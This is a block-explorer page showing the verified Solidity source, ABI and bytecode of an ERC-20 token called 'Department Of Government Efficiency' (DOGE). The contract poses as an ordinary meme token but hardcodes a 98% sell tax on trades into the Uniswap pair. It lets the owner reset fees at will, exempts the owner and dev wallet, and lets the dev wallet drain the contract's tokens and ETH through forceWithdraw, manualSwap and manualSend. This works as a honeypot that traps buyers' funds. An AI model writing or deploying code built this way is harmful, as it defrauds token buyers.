ERC-20
Overview
Max Total Supply
420,000,000,000 DOGE
Holders
867
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
7,680,282.988515553 DOGEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
DOGE
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-12 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.24; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DOGE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; address payable private _devWallet; bool public transferDelayEnabled = false; uint256 private _buyTax = 1; uint256 private _sellTax = 98; string private constant _name = unicode"Department Of Government Efficiency"; string private constant _symbol = unicode"DOGE"; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420000000000 * 10**_decimals; uint256 public _maxTxAmount = 4200000000 * 10**_decimals; uint256 public _maxWalletSize = 4200000000 * 10**_decimals; uint256 public _taxSwapThreshold= 420000000 * 10**_decimals; uint256 public _maxTaxSwap= 4200000000 * 10**_decimals; mapping(address => uint256) private _holderLastTransferTimestamp; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private enableTransfers = true; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(){ _devWallet = payable(0x649aA2b47f35676D5372b3ef690693CE327AC69C); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_devWallet] = true; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner() && from != _devWallet && to != _devWallet) { taxAmount = amount.mul(_buyTax).div(100); if(transferDelayEnabled && !_isExcludedFromFee[to] && !_isExcludedFromFee[from]){ if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number && _holderLastTransferTimestamp[to] < block.number, "_transfer:: Transfer Delay enabled."); _holderLastTransferTimestamp[tx.origin] = block.number; _holderLastTransferTimestamp[to] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul(_sellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToMw(address(this).balance); } } } if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { taxAmount = 0; } if(taxAmount > 0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function addLPUniswap() external onlyOwner() { require(!tradingOpen,"trading is already open"); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,0x649aA2b47f35676D5372b3ef690693CE327AC69C,block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { transferDelayEnabled = true; tradingOpen = true; swapEnabled = true; } function removeLimits() external onlyOwner{ _maxWalletSize=_tTotal; _maxTxAmount = _tTotal; emit MaxTxAmountUpdated(_tTotal); } function stopDelay() external onlyOwner{ transferDelayEnabled = false; } function setFee(uint256 finalFeeOnBuy, uint256 finalFeeOnSell) public onlyOwner { _buyTax = finalFeeOnBuy; _sellTax = finalFeeOnSell; } function sendETHToMw(uint256 amount) private { _devWallet.transfer(amount); } receive() external payable {} function manualSend() external { require(_msgSender() == _devWallet); uint256 ethBalance = address(this).balance; if(ethBalance > 0) { sendETHToMw(ethBalance); } } function forceWithdraw() external { require(_msgSender() == _devWallet); uint256 amount = balanceOf(address(this)); _transfer(address(this), _devWallet, amount); } function manualSwap() external { require(_msgSender() == _devWallet); uint256 tokenBalance = balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance = address(this).balance; if(ethBalance > 0){ sendETHToMw(address(this).balance); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLPUniswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"forceWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"finalFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"finalFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"stopDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000600460146101000a81548160ff021916908315150217905550600160055560626006556009600a62000039919062000871565b63fa56ea006200004a9190620008c2565b6007556009600a6200005d919062000871565b63fa56ea006200006e9190620008c2565b6008556009600a62000081919062000871565b631908b100620000929190620008c2565b6009556009600a620000a5919062000871565b63fa56ea00620000b69190620008c2565b600a556000600d60156101000a81548160ff0219169083151502179055506000600d60166101000a81548160ff0219169083151502179055506001600d60176101000a81548160ff0219169083151502179055503480156200011757600080fd5b5060006200012a620006a660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073649aa2b47f35676d5372b3ef690693ce327ac69c600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6200022d919062000871565b6461c9f368006200023f9190620008c2565b6001600062000253620006a660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160036000620002a7620006ae60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200048d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004b3919062000977565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200053d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000563919062000977565b6040518363ffffffff1660e01b815260040162000582929190620009ba565b6020604051808303816000875af1158015620005a2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005c8919062000977565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000618620006a660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a62000677919062000871565b6461c9f36800620006899190620008c2565b604051620006989190620009f8565b60405180910390a362000a15565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000765578086048111156200073d576200073c620006d7565b5b60018516156200074d5780820291505b80810290506200075d8562000706565b94506200071d565b94509492505050565b60008262000780576001905062000853565b8162000790576000905062000853565b8160018114620007a95760028114620007b457620007ea565b600191505062000853565b60ff841115620007c957620007c8620006d7565b5b8360020a915084821115620007e357620007e2620006d7565b5b5062000853565b5060208310610133831016604e8410600b8410161715620008245782820a9050838111156200081e576200081d620006d7565b5b62000853565b62000833848484600162000713565b925090508184048111156200084d576200084c620006d7565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200087e826200085a565b91506200088b8362000864565b9250620008ba7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200076e565b905092915050565b6000620008cf826200085a565b9150620008dc836200085a565b9250828202620008ec816200085a565b91508282048414831517620009065762000905620006d7565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200093f8262000912565b9050919050565b620009518162000932565b81146200095d57600080fd5b50565b600081519050620009718162000946565b92915050565b60006020828403121562000990576200098f6200090d565b5b6000620009a08482850162000960565b91505092915050565b620009b48162000932565b82525050565b6000604082019050620009d16000830185620009a9565b620009e06020830184620009a9565b9392505050565b620009f2816200085a565b82525050565b600060208201905062000a0f6000830184620009e7565b92915050565b61364d8062000a256000396000f3fe60806040526004361061016a5760003560e01c8063751039fc116100d1578063a9059cbb1161008a578063c9567bf911610064578063c9567bf9146104cb578063dd62ed3e146104e2578063f2fde38b1461051f578063f42938901461054857610171565b8063a9059cbb14610438578063bf474bed14610475578063c876d0b9146104a057610171565b8063751039fc1461035e5780637be80b39146103755780637d1db4a51461038c5780638da5cb5b146103b75780638f9a55c0146103e257806395d89b411461040d57610171565b80632c8206ea116101235780632c8206ea14610288578063313ce5671461029f57806351bc3c85146102ca57806352f7c988146102e157806370a082311461030a578063715018a61461034757610171565b806306fdde0314610176578063095ea7b3146101a15780630faee56f146101de578063157fecff1461020957806318160ddd1461022057806323b872dd1461024b57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b61055f565b60405161019891906126f7565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c391906127b2565b61057f565b6040516101d5919061280d565b60405180910390f35b3480156101ea57600080fd5b506101f361059d565b6040516102009190612837565b60405180910390f35b34801561021557600080fd5b5061021e6105a3565b005b34801561022c57600080fd5b50610235610880565b6040516102429190612837565b60405180910390f35b34801561025757600080fd5b50610272600480360381019061026d9190612852565b6108a5565b60405161027f919061280d565b60405180910390f35b34801561029457600080fd5b5061029d61097e565b005b3480156102ab57600080fd5b506102b4610a30565b6040516102c191906128c1565b60405180910390f35b3480156102d657600080fd5b506102df610a39565b005b3480156102ed57600080fd5b50610308600480360381019061030391906128dc565b610ad6565b005b34801561031657600080fd5b50610331600480360381019061032c919061291c565b610b7d565b60405161033e9190612837565b60405180910390f35b34801561035357600080fd5b5061035c610bc6565b005b34801561036a57600080fd5b50610373610d19565b005b34801561038157600080fd5b5061038a610e4c565b005b34801561039857600080fd5b506103a1610eea565b6040516103ae9190612837565b60405180910390f35b3480156103c357600080fd5b506103cc610ef0565b6040516103d99190612958565b60405180910390f35b3480156103ee57600080fd5b506103f7610f19565b6040516104049190612837565b60405180910390f35b34801561041957600080fd5b50610422610f1f565b60405161042f91906126f7565b60405180910390f35b34801561044457600080fd5b5061045f600480360381019061045a91906127b2565b610f5c565b60405161046c919061280d565b60405180910390f35b34801561048157600080fd5b5061048a610f7a565b6040516104979190612837565b60405180910390f35b3480156104ac57600080fd5b506104b5610f80565b6040516104c2919061280d565b60405180910390f35b3480156104d757600080fd5b506104e0610f93565b005b3480156104ee57600080fd5b5061050960048036038101906105049190612973565b61107b565b6040516105169190612837565b60405180910390f35b34801561052b57600080fd5b506105466004803603810190610541919061291c565b611102565b005b34801561055457600080fd5b5061055d611254565b005b60606040518060600160405280602381526020016135cd60239139905090565b600061059361058c6112d0565b84846112d8565b6001905092915050565b600a5481565b6105ab6112d0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062f906129ff565b60405180910390fd5b600d60149054906101000a900460ff1615610688576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067f90612a6b565b60405180910390fd5b6106d230600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6106bd9190612bed565b6461c9f368006106cd9190612c38565b6112d8565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061071b30610b7d565b60008073649aa2b47f35676d5372b3ef690693ce327ac69c426040518863ffffffff1660e01b815260040161075596959493929190612cbf565b60606040518083038185885af1158015610773573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107989190612d35565b505050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161083a929190612d88565b6020604051808303816000875af1158015610859573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087d9190612ddd565b50565b60006009600a6108909190612bed565b6461c9f368006108a09190612c38565b905090565b60006108b28484846114a1565b610973846108be6112d0565b61096e856040518060600160405280602881526020016135f060289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109246112d0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121369092919063ffffffff16565b6112d8565b600190509392505050565b6109866112d0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0a906129ff565b60405180910390fd5b6000600460146101000a81548160ff021916908315150217905550565b60006009905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a7a6112d0565b73ffffffffffffffffffffffffffffffffffffffff1614610a9a57600080fd5b6000610aa530610b7d565b90506000811115610aba57610ab98161219a565b5b60004790506000811115610ad257610ad147612413565b5b5050565b610ade6112d0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b62906129ff565b60405180910390fd5b81600581905550806006819055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bce6112d0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c52906129ff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d216112d0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da5906129ff565b60405180910390fd5b6009600a610dbc9190612bed565b6461c9f36800610dcc9190612c38565b6008819055506009600a610de09190612bed565b6461c9f36800610df09190612c38565b6007819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610e259190612bed565b6461c9f36800610e359190612c38565b604051610e429190612837565b60405180910390a1565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e8d6112d0565b73ffffffffffffffffffffffffffffffffffffffff1614610ead57600080fd5b6000610eb830610b7d565b9050610ee730600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836114a1565b50565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60085481565b60606040518060400160405280600481526020017f444f474500000000000000000000000000000000000000000000000000000000815250905090565b6000610f70610f696112d0565b84846114a1565b6001905092915050565b60095481565b600460149054906101000a900460ff1681565b610f9b6112d0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611028576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101f906129ff565b60405180910390fd5b6001600460146101000a81548160ff0219169083151502179055506001600d60146101000a81548160ff0219169083151502179055506001600d60166101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61110a6112d0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611197576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118e906129ff565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112956112d0565b73ffffffffffffffffffffffffffffffffffffffff16146112b557600080fd5b600047905060008111156112cd576112cc81612413565b5b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611347576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133e90612e7c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ad90612f0e565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114949190612837565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611510576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150790612fa0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361157f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157690613032565b60405180910390fd5b600081116115c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b9906130c4565b60405180910390fd5b60006115cc610ef0565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561163a575061160a610ef0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116945750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156116ee5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d1b5761171b606461170d6005548561247f90919063ffffffff16565b6124f990919063ffffffff16565b9050600460149054906101000a900460ff1680156117835750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117d95750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119e457600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561188a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156119e35743600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410801561191b575043600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b61195a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195190613156565b60405180910390fd5b43600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffff